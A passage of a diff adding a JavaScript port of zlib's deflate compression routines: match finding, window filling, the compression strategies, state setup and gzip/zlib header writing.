=== _win[++match] && _win[++scan] === _win[++match] && + scan < strend); + len = MAX_MATCH - (strend - scan); + scan = strend - MAX_MATCH; + + if (len > best_len) { + s.match_start = cur_match; + best_len = len; + if (len >= nice_match) { + break; + } + scan_end1 = _win[scan + best_len - 1]; + scan_end = _win[scan + best_len]; + } + } while ((cur_match = prev[cur_match & wmask]) > limit && --chain_length !== 0); + + if (best_len <= s.lookahead) { + return best_len; + } + return s.lookahead; +} +function fill_window(s) { + var _w_size = s.w_size; + var p, n, m, more, str; + do { + more = s.window_size - s.lookahead - s.strstart; + if (s.strstart >= _w_size + (_w_size - MIN_LOOKAHEAD)) { + + utils.arraySet(s.window, s.window, _w_size, _w_size, 0); + s.match_start -= _w_size; + s.strstart -= _w_size; + s.block_start -= _w_size; + n = s.hash_size; + p = n; + do { + m = s.head[--p]; + s.head[p] = (m >= _w_size ? m - _w_size : 0); + } while (--n); + + n = _w_size; + p = n; + do { + m = s.prev[--p]; + s.prev[p] = (m >= _w_size ? m - _w_size : 0); + } while (--n); + more += _w_size; + } + if (s.strm.avail_in === 0) { + break; + } + n = read_buf(s.strm, s.window, s.strstart + s.lookahead, more); + s.lookahead += n; + if (s.lookahead + s.insert >= MIN_MATCH) { + str = s.strstart - s.insert; + s.ins_h = s.window[str]; + s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[str + 1]) & s.hash_mask; + while (s.insert) { + s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[str + MIN_MATCH - 1]) & s.hash_mask; + + s.prev[str & s.w_mask] = s.head[s.ins_h]; + s.head[s.ins_h] = str; + str++; + s.insert--; + if (s.lookahead + s.insert < MIN_MATCH) { + break; + } + } + } + } while (s.lookahead < MIN_LOOKAHEAD && s.strm.avail_in !== 0); +} +function deflate_stored(s, flush) { + var max_block_size = 0xffff; + + if (max_block_size > s.pending_buf_size - 5) { + max_block_size = s.pending_buf_size - 5; + } + for (;;) { + if (s.lookahead <= 1) { + fill_window(s); + if (s.lookahead === 0 && flush === Z_NO_FLUSH) { + return BS_NEED_MORE; + } + + if (s.lookahead === 0) { + break; + } + } + s.strstart += s.lookahead; + s.lookahead = 0; + var max_start = s.block_start + max_block_size; + if (s.strstart === 0 || s.strstart >= max_start) { + s.lookahead = s.strstart - max_start; + s.strstart = max_start; + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + } + if (s.strstart - s.block_start >= (s.w_size - MIN_LOOKAHEAD)) { + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + } + } + s.insert = 0; + if (flush === Z_FINISH) { + flush_block_only(s, true); + if (s.strm.avail_out === 0) { + return BS_FINISH_STARTED; + } + return BS_FINISH_DONE; + } + + if (s.strstart > s.block_start) { + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + } + + return BS_NEED_MORE; +} +function deflate_fast(s, flush) { + var hash_head; + var bflush; + for (;;) { + if (s.lookahead < MIN_LOOKAHEAD) { + fill_window(s); + if (s.lookahead < MIN_LOOKAHEAD && flush === Z_NO_FLUSH) { + return BS_NEED_MORE; + } + if (s.lookahead === 0) { + break; + } + } + hash_head = 0; + if (s.lookahead >= MIN_MATCH) { + s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[s.strstart + MIN_MATCH - 1]) & s.hash_mask; + hash_head = s.prev[s.strstart & s.w_mask] = s.head[s.ins_h]; + s.head[s.ins_h] = s.strstart; + } + if (hash_head !== 0/*NIL*/ && ((s.strstart - hash_head) <= (s.w_size - MIN_LOOKAHEAD))) { + s.match_length = longest_match(s, hash_head); + } + if (s.match_length >= MIN_MATCH) { + bflush = trees._tr_tally(s, s.strstart - s.match_start, s.match_length - MIN_MATCH); + s.lookahead -= s.match_length; + if (s.match_length <= s.max_lazy_match && s.lookahead >= MIN_MATCH) { + s.match_length--; + do { + s.strstart++; + s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[s.strstart + MIN_MATCH - 1]) & s.hash_mask; + hash_head = s.prev[s.strstart & s.w_mask] = s.head[s.ins_h]; + s.head[s.ins_h] = s.strstart; + } while (--s.match_length !== 0); + s.strstart++; + } else + { + s.strstart += s.match_length; + s.match_length = 0; + s.ins_h = s.window[s.strstart]; + s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[s.strstart + 1]) & s.hash_mask; + } + } else { + bflush = trees._tr_tally(s, 0, s.window[s.strstart]); + + s.lookahead--; + s.strstart++; + } + if (bflush) { + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + } + } + s.insert = ((s.strstart < (MIN_MATCH - 1)) ? s.strstart : MIN_MATCH - 1); + if (flush === Z_FINISH) { + flush_block_only(s, true); + if (s.strm.avail_out === 0) { + return BS_FINISH_STARTED; + } + /***/ + return BS_FINISH_DONE; + } + if (s.last_lit) { + /*** FLUSH_BLOCK(s, 0); ***/ + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + /***/ + } + return BS_BLOCK_DONE; +} +function deflate_slow(s, flush) { + var hash_head; + var bflush; + var max_insert; + for (;;) { + if (s.lookahead < MIN_LOOKAHEAD) { + fill_window(s); + if (s.lookahead < MIN_LOOKAHEAD && flush === Z_NO_FLUSH) { + return BS_NEED_MORE; + } + if (s.lookahead === 0) { break; } /* flush the current block */ + } + hash_head = 0/*NIL*/; + if (s.lookahead >= MIN_MATCH) { + s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[s.strstart + MIN_MATCH - 1]) & s.hash_mask; + hash_head = s.prev[s.strstart & s.w_mask] = s.head[s.ins_h]; + s.head[s.ins_h] = s.strstart; + } + s.prev_length = s.match_length; + s.prev_match = s.match_start; + s.match_length = MIN_MATCH - 1; + + if (hash_head !== 0/*NIL*/ && s.prev_length < s.max_lazy_match && + s.strstart - hash_head <= (s.w_size - MIN_LOOKAHEAD)/*MAX_DIST(s)*/) { + s.match_length = longest_match(s, hash_head); + if (s.match_length <= 5 && + (s.strategy === Z_FILTERED || (s.match_length === MIN_MATCH && s.strstart - s.match_start > 4096/*TOO_FAR*/))) { + s.match_length = MIN_MATCH - 1; + } + } + if (s.prev_length >= MIN_MATCH && s.match_length <= s.prev_length) { + max_insert = s.strstart + s.lookahead - MIN_MATCH; + bflush = trees._tr_tally(s, s.strstart - 1 - s.prev_match, s.prev_length - MIN_MATCH); + s.lookahead -= s.prev_length - 1; + s.prev_length -= 2; + do { + if (++s.strstart <= max_insert) { + s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[s.strstart + MIN_MATCH - 1]) & s.hash_mask; + hash_head = s.prev[s.strstart & s.w_mask] = s.head[s.ins_h]; + s.head[s.ins_h] = s.strstart; + } + } while (--s.prev_length !== 0); + s.match_available = 0; + s.match_length = MIN_MATCH - 1; + s.strstart++; + if (bflush) { + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + } + + } else if (s.match_available) { + bflush = trees._tr_tally(s, 0, s.window[s.strstart - 1]); + if (bflush) { + flush_block_only(s, false); + } + s.strstart++; + s.lookahead--; + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + } else { + s.match_available = 1; + s.strstart++; + s.lookahead--; + } + } + if (s.match_available) { + bflush = trees._tr_tally(s, 0, s.window[s.strstart - 1]); + + s.match_available = 0; + } + s.insert = s.strstart < MIN_MATCH - 1 ? s.strstart : MIN_MATCH - 1; + if (flush === Z_FINISH) { + /*** FLUSH_BLOCK(s, 1); ***/ + flush_block_only(s, true); + if (s.strm.avail_out === 0) { + return BS_FINISH_STARTED; + } + /***/ + return BS_FINISH_DONE; + } + if (s.last_lit) { + /*** FLUSH_BLOCK(s, 0); ***/ + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + /***/ + } + + return BS_BLOCK_DONE; +} + + +/* =========================================================================== + * For Z_RLE, simply look for runs of bytes, generate matches only of distance + * one. Do not maintain a hash table. (It will be regenerated if this run of + * deflate switches away from Z_RLE.) + */ +function deflate_rle(s, flush) { + var bflush; /* set if current block must be flushed */ + var prev; /* byte at distance one to match */ + var scan, strend; /* scan goes up to strend for length of run */ + + var _win = s.window; + + for (;;) { + /* Make sure that we always have enough lookahead, except + * at the end of the input file. We need MAX_MATCH bytes + * for the longest run, plus one for the unrolled loop. + */ + if (s.lookahead <= MAX_MATCH) { + fill_window(s); + if (s.lookahead <= MAX_MATCH && flush === Z_NO_FLUSH) { + return BS_NEED_MORE; + } + if (s.lookahead === 0) { break; } /* flush the current block */ + } + + /* See how many times the previous byte repeats */ + s.match_length = 0; + if (s.lookahead >= MIN_MATCH && s.strstart > 0) { + scan = s.strstart - 1; + prev = _win[scan]; + if (prev === _win[++scan] && prev === _win[++scan] && prev === _win[++scan]) { + strend = s.strstart + MAX_MATCH; + do { + /*jshint noempty:false*/ + } while (prev === _win[++scan] && prev === _win[++scan] && + prev === _win[++scan] && prev === _win[++scan] && + prev === _win[++scan] && prev === _win[++scan] && + prev === _win[++scan] && prev === _win[++scan] && + scan < strend); + s.match_length = MAX_MATCH - (strend - scan); + if (s.match_length > s.lookahead) { + s.match_length = s.lookahead; + } + } + //Assert(scan <= s->window+(uInt)(s->window_size-1), ""wild scan""); + } + + /* Emit match if have run of MIN_MATCH or longer, else emit literal */ + if (s.match_length >= MIN_MATCH) { + //check_match(s, s.strstart, s.strstart - 1, s.match_length); + + /*** _tr_tally_dist(s, 1, s.match_length - MIN_MATCH, bflush); ***/ + bflush = trees._tr_tally(s, 1, s.match_length - MIN_MATCH); + + s.lookahead -= s.match_length; + s.strstart += s.match_length; + s.match_length = 0; + } else { + /* No match, output a literal byte */ + //Tracevv((stderr,""%c"", s->window[s->strstart])); + /*** _tr_tally_lit(s, s.window[s.strstart], bflush); ***/ + bflush = trees._tr_tally(s, 0, s.window[s.strstart]); + + s.lookahead--; + s.strstart++; + } + if (bflush) { + /*** FLUSH_BLOCK(s, 0); ***/ + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + /***/ + } + } + s.insert = 0; + if (flush === Z_FINISH) { + /*** FLUSH_BLOCK(s, 1); ***/ + flush_block_only(s, true); + if (s.strm.avail_out === 0) { + return BS_FINISH_STARTED; + } + /***/ + return BS_FINISH_DONE; + } + if (s.last_lit) { + /*** FLUSH_BLOCK(s, 0); ***/ + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + /***/ + } + return BS_BLOCK_DONE; +} + +/* =========================================================================== + * For Z_HUFFMAN_ONLY, do not look for matches. Do not maintain a hash table. + * (It will be regenerated if this run of deflate switches away from Huffman.) + */ +function deflate_huff(s, flush) { + var bflush; /* set if current block must be flushed */ + + for (;;) { + /* Make sure that we have a literal to write. */ + if (s.lookahead === 0) { + fill_window(s); + if (s.lookahead === 0) { + if (flush === Z_NO_FLUSH) { + return BS_NEED_MORE; + } + break; /* flush the current block */ + } + } + + /* Output a literal byte */ + s.match_length = 0; + //Tracevv((stderr,""%c"", s->window[s->strstart])); + /*** _tr_tally_lit(s, s.window[s.strstart], bflush); ***/ + bflush = trees._tr_tally(s, 0, s.window[s.strstart]); + s.lookahead--; + s.strstart++; + if (bflush) { + /*** FLUSH_BLOCK(s, 0); ***/ + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + /***/ + } + } + s.insert = 0; + if (flush === Z_FINISH) { + /*** FLUSH_BLOCK(s, 1); ***/ + flush_block_only(s, true); + if (s.strm.avail_out === 0) { + return BS_FINISH_STARTED; + } + /***/ + return BS_FINISH_DONE; + } + if (s.last_lit) { + /*** FLUSH_BLOCK(s, 0); ***/ + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + /***/ + } + return BS_BLOCK_DONE; +} + +/* Values for max_lazy_match, good_match and max_chain_length, depending on + * the desired pack level (0..9). The values given below have been tuned to + * exclude worst case performance for pathological files. Better values may be + * found for specific files. + */ +function Config(good_length, max_lazy, nice_length, max_chain, func) { + this.good_length = good_length; + this.max_lazy = max_lazy; + this.nice_length = nice_length; + this.max_chain = max_chain; + this.func = func; +} + +var configuration_table; + +configuration_table = [ + /* good lazy nice chain */ + new Config(0, 0, 0, 0, deflate_stored), /* 0 store only */ + new Config(4, 4, 8, 4, deflate_fast), /* 1 max speed, no lazy matches */ + new Config(4, 5, 16, 8, deflate_fast), /* 2 */ + new Config(4, 6, 32, 32, deflate_fast), /* 3 */ + + new Config(4, 4, 16, 16, deflate_slow), /* 4 lazy matches */ + new Config(8, 16, 32, 32, deflate_slow), /* 5 */ + new Config(8, 16, 128, 128, deflate_slow), /* 6 */ + new Config(8, 32, 128, 256, deflate_slow), /* 7 */ + new Config(32, 128, 258, 1024, deflate_slow), /* 8 */ + new Config(32, 258, 258, 4096, deflate_slow) /* 9 max compression */ +]; + + +/* =========================================================================== + * Initialize the ""longest match"" routines for a new zlib stream + */ +function lm_init(s) { + s.window_size = 2 * s.w_size; + + /*** CLEAR_HASH(s); ***/ + zero(s.head); // Fill with NIL (= 0); + + /* Set the default configuration parameters: + */ + s.max_lazy_match = configuration_table[s.level].max_lazy; + s.good_match = configuration_table[s.level].good_length; + s.nice_match = configuration_table[s.level].nice_length; + s.max_chain_length = configuration_table[s.level].max_chain; + + s.strstart = 0; + s.block_start = 0; + s.lookahead = 0; + s.insert = 0; + s.match_length = s.prev_length = MIN_MATCH - 1; + s.match_available = 0; + s.ins_h = 0; +} + + +function DeflateState() { + this.strm = null; /* pointer back to this zlib stream */ + this.status = 0; /* as the name implies */ + this.pending_buf = null; /* output still pending */ + this.pending_buf_size = 0; /* size of pending_buf */ + this.pending_out = 0; /* next pending byte to output to the stream */ + this.pending = 0; /* nb of bytes in the pending buffer */ + this.wrap = 0; /* bit 0 true for zlib, bit 1 true for gzip */ + this.gzhead = null; /* gzip header information to write */ + this.gzindex = 0; /* where in extra, name, or comment */ + this.method = Z_DEFLATED; /* can only be DEFLATED */ + this.last_flush = -1; /* value of flush param for previous deflate call */ + + this.w_size = 0; /* LZ77 window size (32K by default) */ + this.w_bits = 0; /* log2(w_size) (8..16) */ + this.w_mask = 0; /* w_size - 1 */ + + this.window = null; + /* Sliding window. Input bytes are read into the second half of the window, + * and move to the first half later to keep a dictionary of at least wSize + * bytes. With this organization, matches are limited to a distance of + * wSize-MAX_MATCH bytes, but this ensures that IO is always + * performed with a length multiple of the block size. + */ + + this.window_size = 0; + /* Actual size of window: 2*wSize, except when the user input buffer + * is directly used as sliding window. + */ + + this.prev = null; + /* Link to older string with same hash index. To limit the size of this + * array to 64K, this link is maintained only for the last 32K strings. + * An index in this array is thus a window index modulo 32K. + */ + + this.head = null; /* Heads of the hash chains or NIL. */ + + this.ins_h = 0; /* hash index of string to be inserted */ + this.hash_size = 0; /* number of elements in hash table */ + this.hash_bits = 0; /* log2(hash_size) */ + this.hash_mask = 0; /* hash_size-1 */ + + this.hash_shift = 0; + /* Number of bits by which ins_h must be shifted at each input + * step. It must be such that after MIN_MATCH steps, the oldest + * byte no longer takes part in the hash key, that is: + * hash_shift * MIN_MATCH >= hash_bits + */ + + this.block_start = 0; + /* Window position at the beginning of the current output block. Gets + * negative when the window is moved backwards. + */ + + this.match_length = 0; /* length of best match */ + this.prev_match = 0; /* previous match */ + this.match_available = 0; /* set if previous match exists */ + this.strstart = 0; /* start of string to insert */ + this.match_start = 0; /* start of matching string */ + this.lookahead = 0; /* number of valid bytes ahead in window */ + + this.prev_length = 0; + /* Length of the best match at previous step. Matches not greater than this + * are discarded. This is used in the lazy match evaluation. + */ + + this.max_chain_length = 0; + /* To speed up deflation, hash chains are never searched beyond this + * length. A higher limit improves compression ratio but degrades the + * speed. + */ + + this.max_lazy_match = 0; + /* Attempt to find a better match only when the current match is strictly + * smaller than this value. This mechanism is used only for compression + * levels >= 4. + */ + // That's alias to max_lazy_match, don't use directly + //this.max_insert_length = 0; + /* Insert new strings in the hash table only if the match length is not + * greater than this length. This saves time but degrades compression. + * max_insert_length is used only for compression levels <= 3. + */ + + this.level = 0; /* compression level (1..9) */ + this.strategy = 0; /* favor or force Huffman coding*/ + + this.good_match = 0; + /* Use a faster search when the previous match is longer than this */ + + this.nice_match = 0; /* Stop searching when current match exceeds this */ + + /* used by trees.c: */ + + /* Didn't use ct_data typedef below to suppress compiler warning */ + + // struct ct_data_s dyn_ltree[HEAP_SIZE]; /* literal and length tree */ + // struct ct_data_s dyn_dtree[2*D_CODES+1]; /* distance tree */ + // struct ct_data_s bl_tree[2*BL_CODES+1]; /* Huffman tree for bit lengths */ + + // Use flat array of DOUBLE size, with interleaved fata, + // because JS does not support effective + this.dyn_ltree = new utils.Buf16(HEAP_SIZE * 2); + this.dyn_dtree = new utils.Buf16((2 * D_CODES + 1) * 2); + this.bl_tree = new utils.Buf16((2 * BL_CODES + 1) * 2); + zero(this.dyn_ltree); + zero(this.dyn_dtree); + zero(this.bl_tree); + + this.l_desc = null; /* desc. for literal tree */ + this.d_desc = null; /* desc. for distance tree */ + this.bl_desc = null; /* desc. for bit length tree */ + + //ush bl_count[MAX_BITS+1]; + this.bl_count = new utils.Buf16(MAX_BITS + 1); + /* number of codes at each bit length for an optimal tree */ + + //int heap[2*L_CODES+1]; /* heap used to build the Huffman trees */ + this.heap = new utils.Buf16(2 * L_CODES + 1); /* heap used to build the Huffman trees */ + zero(this.heap); + + this.heap_len = 0; /* number of elements in the heap */ + this.heap_max = 0; /* element of largest frequency */ + /* The sons of heap[n] are heap[2*n] and heap[2*n+1]. heap[0] is not used. + * The same heap array is used to build all trees. + */ + + this.depth = new utils.Buf16(2 * L_CODES + 1); //uch depth[2*L_CODES+1]; + zero(this.depth); + /* Depth of each subtree used as tie breaker for trees of equal frequency + */ + + this.l_buf = 0; /* buffer index for literals or lengths */ + + this.lit_bufsize = 0; + /* Size of match buffer for literals/lengths. There are 4 reasons for + * limiting lit_bufsize to 64K: + * - frequencies can be kept in 16 bit counters + * - if compression is not successful for the first block, all input + * data is still in the window so we can still emit a stored block even + * when input comes from standard input. (This can also be done for + * all blocks if lit_bufsize is not greater than 32K.) + * - if compression is not successful for a file smaller than 64K, we can + * even emit a stored file instead of a stored block (saving 5 bytes). + * This is applicable only for zip (not gzip or zlib). + * - creating new Huffman trees less frequently may not provide fast + * adaptation to changes in the input data statistics. (Take for + * example a binary file with poorly compressible code followed by + * a highly compressible string table.) Smaller buffer sizes give + * fast adaptation but have of course the overhead of transmitting + * trees more frequently. + * - I can't count above 4 + */ + + this.last_lit = 0; /* running index in l_buf */ + + this.d_buf = 0; + /* Buffer index for distances. To simplify the code, d_buf and l_buf have + * the same number of elements. To use different lengths, an extra flag + * array would be necessary. + */ + + this.opt_len = 0; /* bit length of current block with optimal trees */ + this.static_len = 0; /* bit length of current block with static trees */ + this.matches = 0; /* number of string matches in current block */ + this.insert = 0; /* bytes at end of window left to insert */ + + + this.bi_buf = 0; + /* Output buffer. bits are inserted starting at the bottom (least + * significant bits). + */ + this.bi_valid = 0; + /* Number of valid bits in bi_buf. All bits above the last valid bit + * are always zero. + */ + + // Used for window memory init. We safely ignore it for JS. That makes + // sense only for pointers and memory check tools. + //this.high_water = 0; + /* High water mark offset in window for initialized bytes -- bytes above + * this are set to zero in order to avoid memory check warnings when + * longest match routines access bytes past the input. This is then + * updated to the new high water mark. + */ +} + + +function deflateResetKeep(strm) { + var s; + + if (!strm || !strm.state) { + return err(strm, Z_STREAM_ERROR); + } + + strm.total_in = strm.total_out = 0; + strm.data_type = Z_UNKNOWN; + + s = strm.state; + s.pending = 0; + s.pending_out = 0; + + if (s.wrap < 0) { + s.wrap = -s.wrap; + /* was made negative by deflate(..., Z_FINISH); */ + } + s.status = (s.wrap ? INIT_STATE : BUSY_STATE); + strm.adler = (s.wrap === 2) ? + 0 // crc32(0, Z_NULL, 0) + : + 1; // adler32(0, Z_NULL, 0) + s.last_flush = Z_NO_FLUSH; + trees._tr_init(s); + return Z_OK; +} + + +function deflateReset(strm) { + var ret = deflateResetKeep(strm); + if (ret === Z_OK) { + lm_init(strm.state); + } + return ret; +} + + +function deflateSetHeader(strm, head) { + if (!strm || !strm.state) { return Z_STREAM_ERROR; } + if (strm.state.wrap !== 2) { return Z_STREAM_ERROR; } + strm.state.gzhead = head; + return Z_OK; +} + + +function deflateInit2(strm, level, method, windowBits, memLevel, strategy) { + if (!strm) { // === Z_NULL + return Z_STREAM_ERROR; + } + var wrap = 1; + + if (level === Z_DEFAULT_COMPRESSION) { + level = 6; + } + + if (windowBits < 0) { /* suppress zlib wrapper */ + wrap = 0; + windowBits = -windowBits; + } + + else if (windowBits > 15) { + wrap = 2; /* write gzip wrapper instead */ + windowBits -= 16; + } + + + if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method !== Z_DEFLATED || + windowBits < 8 || windowBits > 15 || level < 0 || level > 9 || + strategy < 0 || strategy > Z_FIXED) { + return err(strm, Z_STREAM_ERROR); + } + + + if (windowBits === 8) { + windowBits = 9; + } + /* until 256-byte window bug fixed */ + + var s = new DeflateState(); + + strm.state = s; + s.strm = strm; + + s.wrap = wrap; + s.gzhead = null; + s.w_bits = windowBits; + s.w_size = 1 << s.w_bits; + s.w_mask = s.w_size - 1; + + s.hash_bits = memLevel + 7; + s.hash_size = 1 << s.hash_bits; + s.hash_mask = s.hash_size - 1; + s.hash_shift = ~~((s.hash_bits + MIN_MATCH - 1) / MIN_MATCH); + + s.window = new utils.Buf8(s.w_size * 2); + s.head = new utils.Buf16(s.hash_size); + s.prev = new utils.Buf16(s.w_size); + + // Don't need mem init magic for JS. + //s.high_water = 0; /* nothing written to s->window yet */ + + s.lit_bufsize = 1 << (memLevel + 6); /* 16K elements by default */ + + s.pending_buf_size = s.lit_bufsize * 4; + + //overlay = (ushf *) ZALLOC(strm, s->lit_bufsize, sizeof(ush)+2); + //s->pending_buf = (uchf *) overlay; + s.pending_buf = new utils.Buf8(s.pending_buf_size); + + // It is offset from `s.pending_buf` (size is `s.lit_bufsize * 2`) + //s->d_buf = overlay + s->lit_bufsize/sizeof(ush); + s.d_buf = 1 * s.lit_bufsize; + + //s->l_buf = s->pending_buf + (1+sizeof(ush))*s->lit_bufsize; + s.l_buf = (1 + 2) * s.lit_bufsize; + + s.level = level; + s.strategy = strategy; + s.method = method; + + return deflateReset(strm); +} + +function deflateInit(strm, level) { + return deflateInit2(strm, level, Z_DEFLATED, MAX_WBITS, DEF_MEM_LEVEL, Z_DEFAULT_STRATEGY); +} + + +function deflate(strm, flush) { + var old_flush, s; + var beg, val; // for gzip header write only + + if (!strm || !strm.state || + flush > Z_BLOCK || flush < 0) { + return strm ? err(strm, Z_STREAM_ERROR) : Z_STREAM_ERROR; + } + + s = strm.state; + + if (!strm.output || + (!strm.input && strm.avail_in !== 0) || + (s.status === FINISH_STATE && flush !== Z_FINISH)) { + return err(strm, (strm.avail_out === 0) ? Z_BUF_ERROR : Z_STREAM_ERROR); + } + + s.strm = strm; /* just in case */ + old_flush = s.last_flush; + s.last_flush = flush; + + /* Write the header */ + if (s.status === INIT_STATE) { + + if (s.wrap === 2) { // GZIP header + strm.adler = 0; //crc32(0L, Z_NULL, 0); + put_byte(s, 31); + put_byte(s, 139); + put_byte(s, 8); + if (!s.gzhead) { // s->gzhead == Z_NULL + put_byte(s, 0); + put_byte(s, 0); + put_byte(s, 0); + put_byte(s, 0); + put_byte(s, 0); + put_byte(s, s.level === 9 ? 2 : + (s.strategy >= Z_HUFFMAN_ONLY || s.level < 2 ? + 4 : 0)); + put_byte(s, OS_CODE); + s.status = BUSY_STATE; + } + else { + put_byte(s, (s.gzhead.text ? 1 : 0) + + (s.gzhead.hcrc ? 2 : 0) + + (!s.gzhead.extra ? 0 : 4) + + (!s.gzhead.name ? 0 : 8) + + (!s.gzhead.comment ? 0 : 16) + ); + put_byte(s, s.gzhead.time & 0xff); + put_byte(s, (s.gzhead.time >> 8) & 0xff); + put_byte(s, (s.gzhead.time >> 16) & 0xff); + put_byte(s, (s.gzhead.time >> 24) & 0xff); + put_byte(s, s.level === 9 ? 2 : + (s.strategy >= Z_HUFFMAN_ONLY || s.level < 2 ? + 4 : 0)); + put_byte(s, s.gzhead.os & 0xff); + if (s.gzhead.extra && s.gzhead.extra.length) { + put_byte(s, s.gzhead.extra.length & 0xff); + put_byte(s, (s.gzhead.extra.length >> 8) & 0xff); + } + if (s.gzhead.hcrc) { + strm.adler = crc32(strm.adler, s.pending_buf, s.pending, 0); + } + s.gzindex = 0; + s.status = EXTRA_STATE; + } + } + else // DEFLATE header + { + var header = (Z_DEFLATED + ((s.w_bits - 8) << 4)) << 8; + var level_flags = -1; + + if (s.strategy >= Z_HUFFMAN_ONLY || s.level < 2) { + level_flags = 0; + } else if (s.level < 6) { + level_flags = 1; + } else if (s.level === 6) { + level_flags = 2; + } else { + level_flags = 3; + } + header |= (level_flags << 6); + if (s.strstart !== 0) { header |= PRESET_DICT; } + header += 31 - (header % 31); + + s.status = BUSY_STATE; + putShortMSB(s, header); + + /* Save the adler32 of the preset dictionary: */ + if (s.strstart !== 0) { + putShortMSB(s, strm.adler >>> 16); + putShortMSB(s, strm.adler & 0xffff); + } + strm.adler = 1; // adler32(0L, Z_NULL, 0); + } + } + +//#ifdef GZIP + if (s.status === EXTRA_STATE) { + if (s.gzhead.extra/* != Z_NULL*/) { + beg = s.pending; /* start of bytes to update crc */ + + while (s.gzindex < (s.gzhead.extra.length & 0xffff)) { + if (s.pending === s.pending_buf_size) { + if (s.gzhead.hcrc && s.pending > beg) { + strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg); + } + flush_pending(strm); + beg = s.pending; + if (s.pending === s.pending_buf_size) { + break; + } + } + put_byte(s, s.gzhead.extra[s.gzindex] & 0xff); + s.gzindex++; + } + if (s.gzhead.hcrc && s.pending > beg) { + strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg); + } + if (s.gzindex === s.gzhead.extra.length) { + s.gzindex = 0; + s.status = NAME_STATE; + } + } + else { + s.status = NAME_STATE; + } + } + if (s.status === NAME_STATE) { + if (s.gzhead.name/* != Z_NULL*/) { + beg = s.pending; /* start of bytes to update crc */ + //int val; + + do { + if (s.pending === s.pending_buf_size) { + if (s.gzhead.hcrc && s.pending > beg) { + strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg); + } + flush_pending(strm); + beg = s.pending; + if (s.pending === s.pending_buf_size) { + val = 1; + break; + } + } + // JS specific: little magic to add zero terminator to end of string + if (s.gzindex < s.gzhead.name.length) { + val = s.gzhead.name.charCodeAt(s.gzindex++) & 0xff; + } else { + val = 0; + } + put_byte(s, val); + } while (val !== 0); + + if (s.gzhead.hcrc && s.pending > beg) { + strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg); + } + if (val === 0) { + s.gzindex = 0; + s.status = COMMENT_STATE; + } + } + else { + s.status = COMMENT_STATE; + } + } + if (s.status === COMMENT_STATE) { + if (s.gzhead.comment/* != Z_NULL*/) { + beg = s.pending; /* start of bytes to update crc */ + //int val; + + do { + if (s.pending === s.pending_buf_size) { + if (s.gzhead.hcrc && s.pending > beg) { + strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg); + } + flush_pending(strm); + beg = s.pending; + if (s.pending === s.pending_buf_size) { + val = 1; + break; + } + } + // JS specific: little magic to add zero terminator to end of string + if (s.gzindex < s.gzhead.comment.length) { + val = s.gzhead.comment.charCodeAt(s.gzindex++) & 0xff; + } else { + val = 0; + } + put_byte(s, val); + } while (val !== 0); + + if (s.gzhead.hcrc && s.pending > beg) { + strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg); + } + if (val === 0) { + s.status = HCRC_STATE; + } + } + else { + s.status = HCRC_STATE; + } + } + if (s.status === HCRC_STATE) { + if (s.gzhead.hcrc) { + if (s.pending + 2 > s.pending_buf_size) { + flush_pending(strm); + } + if (s.pending + 2 <= s.pending_buf_size) { + put_byte(s, strm.adler & 0xff); + put_byte(s, (strm.adler >> 8) & 0xff); + strm.adler = 0; //crc32(0L, Z_NULL, 0); + s.status = BUSY_STATE; + } + } + else { + s.status = BUSY_STATE; + } + } +//#endif + + /* Flush as much pending output as possible */ + if (s.pending !== 0) { + flush_pending(strm); + if (strm.avail_out === 0) { + /* Since avail_out is 0, deflate will be called again with + * more output space, but possibly with both pending and + * avail_in equal to zero. There won't be anything to do, + * but this is not an error situation so make sure we + * return OK instead of BUF_ERROR at next call of deflate: + */ + s.last_flush = -1; + return Z_OK; + } + + /* Make sure there is something to do and avoid duplicate consecutive + * flushes. For repeated and useless calls with Z_FINISH, we keep + * returning Z_STREAM_END instead of Z_BUF_ERROR. + */ + } else if (strm.avail_in === 0 && rank(flush) <= rank(old_flush) && + flush !== Z_FINISH) { + return err(strm, Z_BUF_ERROR); + } + + /* User must not provide more input after the first FINISH: */ + if (s.status === FINISH_STATE && strm.avail_in !== 0) { + return err(strm, Z_BUF_ERROR); + } + + /* Start a new block or continue the current one. + */ + if (strm.avail_in !== 0 || s.lookahead !== 0 || + (flush !== Z_NO_FLUSH && s.status !== FINISH_STATE)) { + var bstate = (s.strategy === Z_HUFFMAN_ONLY) ? deflate_huff(s, flush) : + (s.strategy === Z_RLE ? deflate_rle(s, flush) : + configuration_table[s.level].func(s, flush)); + + if (bstate === BS_FINISH_STARTED || bstate === BS_FINISH_DONE) { + s.status = FINISH_STATE; + } + if (bstate === BS_NEED_MORE || bstate === BS_FINISH_STARTED) { + if (strm.avail_out === 0) { + s.last_flush = -1; + /* avoid BUF_ERROR next call, see above */ + } + return Z_OK; + /* If flush != Z_NO_FLUSH && avail_out == 0, the next call + * of deflate should use the same flush parameter to make sure + * that the flush is 